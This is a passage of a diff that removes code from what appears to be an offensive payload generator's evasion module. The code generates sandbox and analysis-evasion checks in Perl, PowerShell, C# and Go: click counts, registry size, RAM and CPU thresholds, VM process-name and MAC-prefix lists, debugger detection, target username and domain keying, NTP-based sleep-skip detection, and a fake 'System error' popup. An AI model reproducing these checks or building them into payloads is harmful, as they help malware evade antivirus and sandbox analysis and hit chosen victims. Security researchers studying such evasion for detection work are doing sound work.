evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'my $' + perl_min_clicks + ' = ' + evasion_payload.required_options["NUMCLICKS"][0] + ';\n' - check_code += '\t' * num_tabs_required + 'my $' + perl_key_state + ' = new Win32::API("user32", "GetAsyncKeyState", +"I", "N");\n' - check_code += '\t' * num_tabs_required + 'my $' + click_count + ' = 0;\n' - check_code += '\t' * num_tabs_required + 'while ($' + click_count + ' < $' + perl_min_clicks + ') {\n' - check_code += '\t' * num_tabs_required + '\tmy $' + perl_leftclick + ' = $' + perl_key_state + '->Call(1);\n' - check_code += '\t' * num_tabs_required + '\tmy $' + perl_rightclick + ' = $' + perl_key_state + '->Call(2);\n' - check_code += '\t' * num_tabs_required + '\tif ($' + perl_leftclick + ') {\n' - check_code += '\t' * num_tabs_required + '\t\t++$' + click_count + ';\n' - check_code += '\t' * num_tabs_required + '\t}\n' - check_code += '\t' * num_tabs_required + '\tif ($' + perl_rightclick + ') {\n' - check_code += '\t' * num_tabs_required + '\t\t++$' + click_count + ';\n' - check_code += '\t' * num_tabs_required + '\t}\n' - check_code += '\t' * num_tabs_required + '\tsleep(2);\n' - check_code += '\t' * num_tabs_required + '}\n' - check_code += '\t' * num_tabs_required + 'if (1) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["REGSIZE"][0].lower() != 'x': - - reg_mb_size = evasion_helpers.randomString() - perl_wmi = evasion_helpers.randomString() - reg_dump = evasion_helpers.randomString() - reg_size = evasion_helpers.randomString() - perl_reg_obj = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use Win32::OLE;\n' - check_code += '\t' * num_tabs_required + 'my $' + reg_mb_size + ' = ' + evasion_payload.required_options["REGSIZE"][0] + ';\n' - check_code += '\t' * num_tabs_required + 'my $' + perl_wmi + ' = Win32::OLE->GetObject("winmgmts:\\\\\\\\localhost\\\\root\\\\CIMV2") or die;\n' - check_code += '\t' * num_tabs_required + 'my $' + reg_dump + ' = $' + perl_wmi + '->ExecQuery("SELECT CurrentSize from Win32_Registry") or die;\n' - check_code += '\t' * num_tabs_required + 'my $' + reg_size + ';\n' - check_code += '\t' * num_tabs_required + 'foreach my $' + perl_reg_obj + ' (in $' + reg_dump + ') { $' + reg_size + ' = $' + perl_reg_obj + '->CurrentSize; }\n' - check_code += '\t' * num_tabs_required + 'if ($' + reg_size + ' > $' + reg_mb_size + ') {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - - rand_name = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'my $' + rand_name + ' = Win32::LoginName;\n' - check_code += '\t' * num_tabs_required + 'if (index(lc($' + rand_name + '), lc(\"' + evasion_payload.required_options["USERNAME"][0] + '\")) != -1){\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DOMAIN"][0].lower() != "x": - - rand_domain = evasion_helpers.randomString() - check_code += '\t' * num_tabs_required + 'use Net::Domain qw (hostdomain);\n' - check_code += '\t' * num_tabs_required + 'my $' + rand_domain + ' = hostdomain();\n' - check_code += '\t' * num_tabs_required + 'if (index(lc($' + rand_domain + '), lc(\"' + evasion_payload.required_options["DOMAIN"][0] + '\")) != -1){\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": - - rand_corecount = evasion_helpers.randomString() - check_code += '\t' * num_tabs_required + 'my $' + rand_corecount + ' = $ENV{\"NUMBER_OF_PROCESSORS\"};' - check_code += '\t' * num_tabs_required + 'if ($' + rand_corecount + ' >= '+ evasion_payload.required_options["PROCESSORS"][0] + '){\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - - check_code += '\t' * num_tabs_required + 'use IO::Socket;' - check_code += '\t' * num_tabs_required + 'my $firstTime;my $secondTime;my $sock = IO::Socket::INET->new(Proto => "udp",PeerPort => 123,PeerAddr => "us.pool.ntp.org",Timeout => 4);\n' - check_code += '\t' * num_tabs_required + 'my $NTPTransmit = pack("B384", "00100011", (0)x14);my $secondTransmit = pack("B384", "00100011", (0)x14);\n' - check_code += '\t' * num_tabs_required + '$sock->send($NTPTransmit);$sock->recv($NTPTransmit, 384);my ($Ignore, $firstTime, $Ignore2)=unpack("B319 N B32",$NTPTransmit);$firstTime -= 2208988800;$sock->close;\n' - check_code += '\t' * num_tabs_required + 'sleep ' + evasion_payload.required_options["SLEEP"][0] + ';\n' - check_code += '\t' * num_tabs_required + 'my $newSock = IO::Socket::INET->new(Proto => "udp",PeerPort => 123,PeerAddr => "us.pool.ntp.org",Timeout => 4);\n' - check_code += '\t' * num_tabs_required + '$newSock->send($secondTransmit);$newSock->recv($secondTransmit, 384);my ($Ignore, $secondTime, $Ignore2)=unpack("B319 N B32",$secondTransmit);$newSock->close;\n' - check_code += '\t' * num_tabs_required + 'my $newSock = IO::Socket::INET->new(Proto => "udp",PeerPort => 123,PeerAddr => "us.pool.ntp.org",Timeout => 4);\n' - check_code += '\t' * num_tabs_required + 'if ((($secondTime - 2208988800) - $firstTime) >= ' + evasion_payload.required_options["SLEEP"][0] + ') {\n' - - # Add a tab for this check - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - elif evasion_payload.language == 'powershell': - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - check_code += "if($env:computername -eq \"" + evasion_payload.required_options["HOSTNAME"][0].lower() + "\") {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["UTCCHECK"][0].lower() != "false": - - standard_time_zone = evasion_helpers.randomString() - daylight_time_zone = evasion_helpers.randomString() - - check_code += "$" + standard_time_zone + ' = [System.TimeZone]::CurrentTimeZone.StandardName\n' - check_code += "$" + daylight_time_zone + ' = [System.TimeZone]::CurrentTimeZone.DaylightName\n' - check_code += "if ($" + standard_time_zone + ' -ne "Coordinated Universal Time" -or $' + daylight_time_zone + ' -eq "Coordinated Universal Time") {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["MINRAM"][0].lower() != "false": - check_code += "if ((Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize/1048576 -gt 3) {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["VIRTUALPROC"][0].lower() != "false": - - evidenceof_sandbox = evasion_helpers.randomString() - sandbox_processes = evasion_helpers.randomString() - running_processes = evasion_helpers.randomString() - running_proc = evasion_helpers.randomString() - sandbox_proc = evasion_helpers.randomString() - - check_code += '$' + evidenceof_sandbox + ' = New-Object System.Collections.ArrayList\n' - check_code += '$' + sandbox_processes + ' = "vmsrvc", "tcpview", "wireshark","visual basic", "fiddler", "vmware", "vbox", "process explorer", "autoit", "vboxtray", "vmtools", "vmrawdsk", "vmusbmouse", "vmvss", "vmscsi", "vmxnet", "vmx_svga", "vmmemctl", "df5serv", "vboxservice", "vmhgfs"\n' - check_code += '$' + running_processes + ' = Get-Process\n' - check_code += 'ForEach ($' + running_proc + ' in $' + running_processes + ') {\n' - check_code += '\tForEach ($' + sandbox_proc + ' in $' + sandbox_processes + ') {\n' - check_code += '\t\tif ($' + running_proc + '.ProcessName | Select-String $' + sandbox_proc + ') {\n' - check_code += '\t\t\tif ($' + evidenceof_sandbox + ' -NotContains $' + running_proc+ '.ProcessName) {\n' - check_code += '\t\t\t\t[void]$' + evidenceof_sandbox + '.Add($' + running_proc + '.ProcessName)\n' - check_code += '\t\t\t}\n' - check_code += '\t\t}\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if ($' + evidenceof_sandbox + '.count -eq 0) {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["MINBROWSERS"][0].lower() != "false": - - browser_count = evasion_helpers.randomString() - browser_keys = evasion_helpers.randomString() - browser_key = evasion_helpers.randomString() - - check_code += '$' + browser_count + ' = 0\n' - check_code += '$' + browser_keys + " = 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe', 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\iexplore.exe', 'SOFTWARE\Mozilla'\n" - check_code += 'ForEach ($' + browser_key + ' in $' + browser_keys + ') {\n' - check_code += '\tif (Test-Path ("HKLM:\" + $' + browser_key + ')) {\n' - check_code += '\t\t++$' + browser_count + '\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if ($' + browser_count + ' -ge 2) {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["BADMACS"][0].lower() != "false": - - sand_macs = evasion_helpers.randomString() - bad_macs = evasion_helpers.randomString() - current_macs = evasion_helpers.randomString() - mac_addy = evasion_helpers.randomString() - badmac_addy = evasion_helpers.randomString() - - check_code += '$' + sand_macs + ' = New-Object System.Collections.ArrayList\n' - check_code += '$' + bad_macs + " = '00:0C:29', '00:1C:14', '00:50:56', '00:05:69', '08:00:27'\n" - check_code += '$' + current_macs + ' = Get-WmiObject Win32_NetworkAdapterConfiguration | Select -ExpandProperty MACAddress\n' - check_code += 'ForEach ($' + mac_addy + ' in $' + current_macs + ') {\n' - check_code += '\tForEach ($' + badmac_addy + ' in $' + bad_macs + ') {\n' - check_code += '\t\tif ($' + mac_addy + ' | Select-String $' + badmac_addy + ') {\n' - check_code += '\t\t\t[void]$' + sand_macs + '.Add($' + mac_addy + ')\n' - check_code += '\t\t}\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if ($' + sand_macs + '.count -eq 0) {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["MINPROCESSES"][0].lower() != "x": - - minimum_processes = evasion_helpers.randomString() - running_procs = evasion_helpers.randomString() - - check_code += '$' + minimum_processes + ' = ' + evasion_payload.required_options["MINPROCESSES"][0] + '\n' - check_code += '$' + running_procs + ' = (Get-Process).count\n' - check_code += 'if ($' + running_procs + ' -ge $' + minimum_processes + ') {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["DOMAIN"][0].lower() != "x": - check_code += "if((Get-WMIObject -Class Win32_ComputerSystem).Domain -eq \"" + evasion_payload.required_options["DOMAIN"][0].lower() + "\") {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - check_code += "if($env:username -eq \"" + evasion_payload.required_options["USERNAME"][0].lower() + "\") {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": - check_code += "if((Get-WMIObject -Class Win32_Processor).NumberOfLogicalProcessors -ge " + evasion_payload.required_options["PROCESSORS"][0].lower() + ") {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - check_code += "[Byte[]]$NTPTransmit=,1*48;$NTPTransmit[0]=0x1B;[Byte[]]$secondTransmit=,1*48;$secondTransmit[0]=0x1B;$noAccess=$false;" - check_code += "Try{$Socket=New-Object Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp);$Socket.Connect('us.pool.ntp.org',123);[Void]$Socket.Send($NTPTransmit);[Void]$Socket.Receive($NTPTransmit)}catch{$noAccess=$true};" - check_code += "$runTotal=0;ForEach($Index in $NTPTransmit[40..43]){$runTotal=$runTotal*256+$Index};$firstTime=(New-Object DateTime(1900,1,1,0,0,0,[DateTimeKind]::Utc)).AddMilliseconds([UInt64]($runTotal*1000)).Second;" - check_code += "Start-Sleep -s " + evasion_payload.required_options["SLEEP"][0] + ";" - check_code += "Try{$NewSock=New-Object Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp);$NewSock.Connect('us.pool.ntp.org',123);[Void]$NewSock.Send($secondTransmit);[Void]$NewSock.Receive($secondTransmit);$NewSock.Close()}catch{$noAccess=$true};" - check_code += "$runTotal=0;ForEach($Index in $secondTransmit[40..43]){$runTotal=$runTotal*256+$Index}\n" - check_code += "if ((New-Object DateTime(1900,1,1,0,0,0,[DateTimeKind]::Utc)).AddMilliseconds([UInt64]($runTotal*1000)).Second - $firstTime -ge " + evasion_payload.required_options["SLEEP"][0] + " -or $noAccess) {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["USERPROMPT"][0].lower() != "false": - - dialog_title = evasion_helpers.randomString() - dialog_text = evasion_helpers.randomString() - message_box = evasion_helpers.randomString() - - check_code += '$' + dialog_title + ' = "System error encountered!"\n' - check_code += '$' + dialog_text + ' = "Error 0x8163819f - Please hit OK to continue"\n' - check_code += '$' + message_box + ' = New-Object -COMObject WScript.Shell\n' - check_code += '[void]$' + message_box + '.Popup($' + dialog_text + ',0,$' + dialog_title + ',0)\n' - check_code += 'if ($true) {\n' - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - elif evasion_payload.language == 'cs': - if evasion_payload.required_options["EXPIRE_PAYLOAD"][0].lower() != "x": - - RandToday = evasion_helpers.randomString() - RandExpire = evasion_helpers.randomString() - - # Create Payload code - check_code += '\t' * num_tabs_required + 'DateTime {} = DateTime.Today;\n'.format(RandToday) - check_code += '\t' * num_tabs_required + 'DateTime {} = {}.AddDays({});\n'.format(RandExpire, RandToday, evasion_payload.required_options["EXPIRE_PAYLOAD"][0]) - check_code += '\t' * num_tabs_required + 'if ({} < {}) {{\n'.format(RandExpire, RandToday) - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - - check_code += '\t' * num_tabs_required + 'if (System.Environment.MachineName.ToLower().Contains("{}")) {{\n'.format(evasion_payload.required_options["HOSTNAME"][0].lower()) - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["TIMEZONE"][0].lower() != 'x': - - check_code += '\t' * num_tabs_required + 'if (TimeZone.CurrentTimeZone.StandardName != "Coordinated Universal Time") {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DEBUGGER"][0].lower() != 'x': - - check_code += '\t' * num_tabs_required + 'if (!System.Diagnostics.Debugger.IsAttached) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - #if evasion_payload.required_options["BADMACS"][0].lower() != 'x': - # pass - - if evasion_payload.required_options["DOMAIN"][0].lower() != "x": - - check_code += '\t' * num_tabs_required + 'if (string.Equals("' + evasion_payload.required_options["DOMAIN"][0] + '", System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName, StringComparison.CurrentCultureIgnoreCase)) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": - - check_code += '\t' * num_tabs_required + 'if (System.Environment.ProcessorCount >= {}) {{\n'.format(evasion_payload.required_options["PROCESSORS"][0]) - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - - rand_user_name = evasion_helpers.randomString() - rand_char_name = evasion_helpers.randomString() - check_code += '\t' * num_tabs_required + 'string {} = System.Security.Principal.WindowsIdentity.GetCurrent().Name;\n'.format(rand_user_name) - check_code += '\t' * num_tabs_required + "string[] {} = {}.Split('\\\\');\n".format(rand_char_name, rand_user_name) - check_code += '\t' * num_tabs_required + 'if ({}[1].Contains("{}")) {{\n\n'.format(rand_char_name, evasion_payload.required_options["USERNAME"][0]) - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - - check_code += '\t' * num_tabs_required + 'var NTPTransmit = new byte[48];NTPTransmit[0] = 0x1B; var secondTransmit = new byte[48]; secondTransmit[0] = 0x1B; var skip = false;\n' - check_code += '\t' * num_tabs_required + 'var addr = Dns.GetHostEntry("us.pool.ntp.org").AddressList;var sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);\n' - check_code += '\t' * num_tabs_required + 'try { sock.Connect(new IPEndPoint(addr[0], 123)); sock.ReceiveTimeout = 6000; sock.Send(NTPTransmit); sock.Receive(NTPTransmit); sock.Close(); } catch { skip = true; }\n' - check_code += '\t' * num_tabs_required + 'ulong runTotal=0;for (int i=40; i<=43; ++i){runTotal = runTotal * 256 + (uint)NTPTransmit[i];}\n' - check_code += '\t' * num_tabs_required + 'var t1 = (new DateTime(1900, 1, 1, 0, 0, 0, DateTimeKind.Utc)).AddMilliseconds(1000 * runTotal);\n' - check_code += '\t' * num_tabs_required + 'Thread.Sleep(' + evasion_payload.required_options["SLEEP"][0] + '*1000);\n' - check_code += '\t' * num_tabs_required + 'var newSock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);\n' - check_code += '\t' * num_tabs_required + 'try { var addr2 = Dns.GetHostEntry("us.pool.ntp.org").AddressList; newSock.Connect(new IPEndPoint(addr2[0], 123)); newSock.ReceiveTimeout = 6000; newSock.Send(secondTransmit); newSock.Receive(secondTransmit); newSock.Close(); } catch { skip = true; }\n' - check_code += '\t' * num_tabs_required + 'ulong secondTotal = 0; for (int i = 40; i <= 43; ++i) { secondTotal = secondTotal * 256 + (uint)secondTransmit[i]; }\n' - check_code += '\t' * num_tabs_required + 'if (((new DateTime(1900, 1, 1, 0, 0, 0, DateTimeKind.Utc)).AddMilliseconds(1000 * secondTotal) - t1).Seconds >= ' + evasion_payload.required_options["SLEEP"][0] + ' || skip) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - elif evasion_payload.language == 'go': - rand_username = evasion_helpers.randomString() - rand_error1 = evasion_helpers.randomString() - rand_hostname = evasion_helpers.randomString() - rand_error2 = evasion_helpers.randomString() - rand_processor = evasion_helpers.randomString() - rand_domain = evasion_helpers.randomString() - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - check_code += rand_username + ", " + rand_error1 + " := user.Current()\n" - check_code += "if " + rand_error1 + " != nil {\n" - check_code += "os.Exit(1)}\n" - check_code += "if strings.Contains(strings.ToLower(" + rand_username + ".Username), strings.ToLower(\"" + evasion_payload.required_options["USERNAME"][0] + "\")) {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - check_code += rand_hostname + ", " + rand_error2 + " := os.Hostname()\n" - check_code += "if " + rand_error2 + " != nil {\n" - check_code += "os.Exit(1)}\n" - check_code += "if strings.Contains(strings.ToLower(" + rand_hostname + "), strings.ToLower(\"" + evasion_payload.required_options["HOSTNAME"][0] + "\")) {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": - check_code += rand_processor + " := runtime.NumCPU()\n" - check_code += "if " + rand_processor + " >= " + evasion_payload.required_options["PROCESSORS"][0] + " {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - check_code += 'type ntp_struct struct {FirstByte,A,B,C uint8;D,E,F uint32;G,H uint64;ReceiveTime uint64;J uint64}\n' - check_code += 'sock,_ := net.Dial("udp", "us.pool.ntp.org:123");sock.SetDeadline(time.Now().Add((6*time.Second)));defer sock.Close()\n' - check_code += 'ntp_transmit := new(ntp_struct);ntp_transmit.FirstByte=0x1b\n' - check_code += 'binary.Write(sock, binary.BigEndian, ntp_transmit);binary.Read(sock, binary.BigEndian, ntp_transmit)\n' - check_code += 'val := time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((ntp_transmit.ReceiveTime >> 32)*1000000000)))\n' - check_code += 'time.Sleep(time.Duration(' + evasion_payload.required_options["SLEEP"][0] + '*1000) * time.Millisecond)\n' - check_code += 'newsock,_ := net.Dial("udp", "us.pool.ntp.org:123");newsock.SetDeadline(time.Now().Add((6*time.Second)));defer newsock.Close()\n' - check_code += 'second_transmit := new(ntp_struct);second_transmit.FirstByte=0x1b\n' - check_code += 'binary.Write(newsock, binary.BigEndian, second_transmit);binary.Read(newsock, binary.BigEndian, second_transmit)\n' - check_code += 'if int(time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((second_transmit.ReceiveTime >> 32)*1000000000))).Sub(val).Seconds()) >= ' + evasion_payload.required_options["SLEEP"][0] + ' {' - num_tabs_required += 1 - - if evasion_payload.required_options["UTCCHECK"][0].lower() != "false": - - tzone_abbrev = evasion_helpers.randomString() - tzone_offset = evasion_helpers.randomString() - - check_code += '_, ' + tzone_offset + ' := time.Now().Zone()\n' - check_code += 'if ' + tzone_offset + ' != 0 {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["USERPROMPT"][0].lower() != "false": - - title_box = evasion_helpers.randomString() - message_box = evasion_helpers.randomString() - user32_dll = evasion_helpers.randomString() - messagebox_w = evasion_helpers.randomString() - - check_code += 'var ' + title_box + ' = "System Error Encountered"\n' - check_code += 'var ' + message_box + ' = "System error 0x831d83a4 - Press OK to continue"\n' - check_code += 'var ' + user32_dll + ' = syscall.NewLazyDLL("user32.dll")\n' - check_code += 'var ' + messagebox_w + ' = ' + user32_dll + '.NewProc("MessageBoxW")\n' - check_code += messagebox_w + '.Call(0,\n' - check_code += '\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(' + message_box + '))),\n' - check_code += '\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(' + title_box + '))),\n' - check_code += '0)\n' - check_code += 'if true {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["RAMCHECK"][0].lower() != 'false': - - memstatusx = evasion_helpers.randomString() - kernel32_dll = evasion_helpers.randomString() - globalmem_status = evasion_helpers.randomString() - mem_info = evasion_helpers.randomString() - - check_code += 'type ' + memstatusx + ' struct {\n' - check_code += '\tdwLength\tuint32\n' - check_code += '\tdwMemoryLoad\tuint32\n' - check_code += '\tullTotalPhys\tuint64\n' - check_code += '\tullAvailPhys\tuint64\n' - check_code += '\tullTotalPageFile\tuint64\n' - check_code += '\tullAvailPageFile\tuint64\n' - check_code += '\tullTotalVirtual\tuint64\n' - check_code += '\tullAvailVirtual\tuint64\n' - check_code += '\tullAvailExtendedVirtual\tuint64\n' - check_code += '}\n' - check_code += 'var ' + kernel32_dll + ' = syscall.NewLazyDLL("kernel32.dll")\n' - check_code += 'var ' + globalmem_status + ' = ' + kernel32_dll + '.NewProc("GlobalMemoryStatusEx")\n' - check_code += 'var ' + mem_info + ' ' + memstatusx + '\n' - check_code += mem_info + '.dwLength = uint32(unsafe.Sizeof(' + mem_info + '))\n' - check_code += globalmem_status + '.Call(uintptr(unsafe.Pointer(&' + mem_info + ')))\n' - check_code += 'if (' + mem_info + '.ullTotalPhys/1073741824 >= 3) {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["PROCCHECK"][0].lower() != 'false': - - kernel32 = evasion_helpers.randomString() - createtoolhelp = evasion_helpers.randomString() - proc32first = evasion_helpers.randomString() - proc32next = evasion_helpers.randomString() - closehandle = evasion_helpers.randomString() - procentry32 = evasion_helpers.randomString() - ev_of_sandbox = evasion_helpers.randomString() - sbox_procs = evasion_helpers.randomString() - hproc_snap = evasion_helpers.randomString() - exe_names = evasion_helpers.randomString() - pe32 = evasion_helpers.randomString() - ret_val = evasion_helpers.randomString() - exe = evasion_helpers.randomString() - sbox_process = evasion_helpers.randomString() - - check_code += 'var ' + kernel32 + ' = syscall.NewLazyDLL("kernel32.dll")\n' - check_code += 'var ' + createtoolhelp + ' = ' + kernel32 + '.NewProc("CreateToolhelp32Snapshot")\n' - check_code += 'var ' + proc32first + ' = ' + kernel32 + '.NewProc("Process32FirstW")\n' - check_code += 'var ' + proc32next + ' = ' + kernel32 + '.NewProc("Process32NextW")\n' - check_code += 'var ' + closehandle + ' = ' + kernel32 + '.NewProc("CloseHandle")\n' - check_code += 'type ' + procentry32 + ' struct {\n' - check_code += '\tdwSize\t\tuint32\n' - check_code += '\tcntUsage\t\tuint32\n' - check_code += '\tth32ProcessID\t\tuint32\n' - check_code += '\tth32DefaultHeapID\t\tuintptr\n' - check_code += '\tth32ModuleID\t\tuint32\n' - check_code += '\tcntThreads\t\tuint32\n' - check_code += '\tth32ParentProcessID\t\tuint32\n' - check_code += '\tpcPriClassBase\t\tint32\n' - check_code += '\tdwFlags\t\tuint32\n' - check_code += '\tszExeFile\t\t[260]uint16\n' - check_code += '}\n' - check_code += ev_of_sandbox + ' := make([]string, 0)\n' - check_code += sbox_procs + " := [...]string{`vmsrvc`, `tcpview`, `wireshark`, `visual basic`, `fiddler`, `vmware`, `vbox`, `process explorer`, `autoit`, `vboxtray`, `vmtools`, `vmrawdsk`, `vmusbmouse`, `vmvss`, `vmscsi`, `vmxnet`, `vmx_svga`, `vmmemctl`, `df5serv`, `vboxservice`, `vmhgfs`}\n" - check_code += hproc_snap + ', _, _ := ' + createtoolhelp + '.Call(2,0)\n' - check_code += 'defer ' + closehandle + '.Call(' + hproc_snap + ')\n' - check_code += exe_names + ' := make([]string, 0, 100)\n' - check_code += 'var ' + pe32 + ' ' + procentry32 + '\n' - check_code += pe32 + '.dwSize = uint32(unsafe.Sizeof(' + pe32 + '))\n' - check_code += proc32first + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' - check_code += 'for {\n' - check_code += '\t' + exe_names + ' = append(' + exe_names + ', syscall.UTF16ToString(' + pe32 + '.szExeFile[:260]))\n' - check_code += '\t' + ret_val + ', _, _ := ' + proc32next + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' - check_code += '\tif ' + ret_val + ' == 0 {\n' - check_code += '\t\tbreak\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'for _, ' + exe + ' := range ' + exe_names + ' {\n' - check_code += '\tfor _, ' + sbox_process + ' := range ' + sbox_procs + ' {\n' - check_code += '\t\tif (strings.Contains(strings.ToLower(' + exe + '), strings.ToLower(' + sbox_process + '))) {\n' - check_code += '\t\t\t' + ev_of_sandbox + ' = append(' + ev_of_sandbox + ', ' + exe + ')\n' - check_code += '\t\t}\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if len(' + ev_of_sandbox + ') == 0 {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["MINPROCS"][0].lower() != 'x': - - kernel32 = evasion_helpers.randomString() - createtoolhelp = evasion_helpers.randomString() - proc32first = evasion_helpers.randomString() - proc32next = evasion_helpers.randomString() - closehandle = evasion_helpers.randomString() - min_processes = evasion_helpers.randomString() - procentry32 = evasion_helpers.randomString() - hproc_snap = evasion_helpers.randomString() - exe_names = evasion_helpers.randomString() - pe32 = evasion_helpers.randomString() - ret_val = evasion_helpers.randomString() - exe = evasion_helpers.randomString() - count_running_procs = evasion_helpers.randomString() - wut = evasion_helpers.randomString() - - check_code += 'var ' + kernel32 + ' = syscall.NewLazyDLL("kernel32.dll")\n' - check_code += 'var ' + createtoolhelp + ' = ' + kernel32 + '.NewProc("CreateToolhelp32Snapshot")\n' - check_code += 'var ' + proc32first + ' = ' + kernel32 + '.NewProc("Process32FirstW")\n' - check_code += 'var ' + proc32next + ' = ' + kernel32 + '.NewProc("Process32NextW")\n' - check_code += 'var ' + closehandle + ' = ' + kernel32 + '.NewProc("CloseHandle")\n' - check_code += 'type ' + procentry32 + ' struct {\n' - check_code += '\tdwSize\t\tuint32\n' - check_code += '\tcntUsage\t\tuint32\n' - check_code += '\tth32ProcessID\t\tuint32\n' - check_code += '\tth32DefaultHeapID\t\tuintptr\n' - check_code += '\tth32ModuleID\t\tuint32\n' - check_code += '\tcntThreads\t\tuint32\n' - check_code += '\tth32ParentProcessID\t\tuint32\n' - check_code += '\tpcPriClassBase\t\tint32\n' - check_code += '\tdwFlags\t\tuint32\n' - check_code += '\tszExeFile\t\t[260]uint16\n' - check_code += '}\n' - check_code += min_processes + ' := ' + evasion_payload.required_options["MINPROCS"][0] + '\n' - check_code += hproc_snap + ', _, _ := ' + createtoolhelp + '.Call(2,0)\n' - check_code += 'defer ' + closehandle + '.Call(' + hproc_snap + ')\n' - check_code += exe_names + ' := make([]string, 0, 100)\n' - check_code += 'var ' + pe32 + ' ' + procentry32 + '\n' - check_code += pe32 + '.dwSize = uint32(unsafe.Sizeof(' + pe32 + '))\n' - check_code += proc32first + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' - check_code += 'for {\n' - check_code += '\t' + exe_names + ' = append(' + exe_names + ', syscall.UTF16ToString(' + pe32 + '.szExeFile[:260]))\n' - check_code += '\t' + ret_val + ', _, _ := ' + proc32next + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' - check_code += '\tif ' + ret_val + ' == 0 {\n' - check_code += '\t\tbreak\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += count_running_procs + ' := 0\n' - check_code += 'for _, ' + exe + ' := range ' + exe_names + ' {\n' - check_code += "\tif " + exe + " == \"\" {\n" - check_code += "\t\tos.Exit(1)}\n" - check_code += '\t' + count_running_procs + ' += 1\n' - check_code += '}\n' - check_code += 'if (' + count_running_procs + ' >= ' + min_processes + ') {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["BADMACS"][0].lower() != 'false': - - evd_sandbox = evasion_helpers.randomString() - bad_addrs = evasion_helpers.randomString() - nics = evasion_helpers.randomString() - single_nic = evasion_helpers.randomString() - bad_mac = evasion_helpers.randomString() - - check_code += evd_sandbox + ' := make([]net.HardwareAddr, 0)\n' - check_code += bad_addrs + ' := [...]string{`00:0C:29`, `00:1C:14`, `00:50:56`, `00:05:69`, `08:00:27`}\n' - check_code += nics + ', _ := net.Interfaces()\n' - check_code += 'for _, ' + single_nic + ' := range ' + nics + ' {\n' - check_code += '\tfor _, ' + bad_mac + ' := range ' + bad_addrs + ' {\n' - check_code += '\t\tif strings.Contains(strings.ToLower(' + single_nic + '.HardwareAddr.String()), strings.ToLower(' + bad_mac + ')) {\n' - check_code += '\t\t\t' + evd_sandbox + ' = append(' + evd_sandbox + ', ' + single_nic + '.HardwareAddr)\n' - check_code += '\t\t}\n' - check_code += 